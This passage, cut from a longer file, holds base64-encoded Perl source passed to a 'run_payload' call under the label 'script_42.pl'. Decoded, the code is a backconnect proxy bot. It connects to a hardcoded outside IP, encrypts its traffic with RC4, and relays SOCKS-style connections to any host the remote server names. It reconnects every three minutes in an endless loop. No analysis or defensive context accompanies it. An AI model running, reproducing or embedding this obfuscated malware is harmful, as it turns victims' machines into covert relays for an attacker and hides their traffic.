sNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_42.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic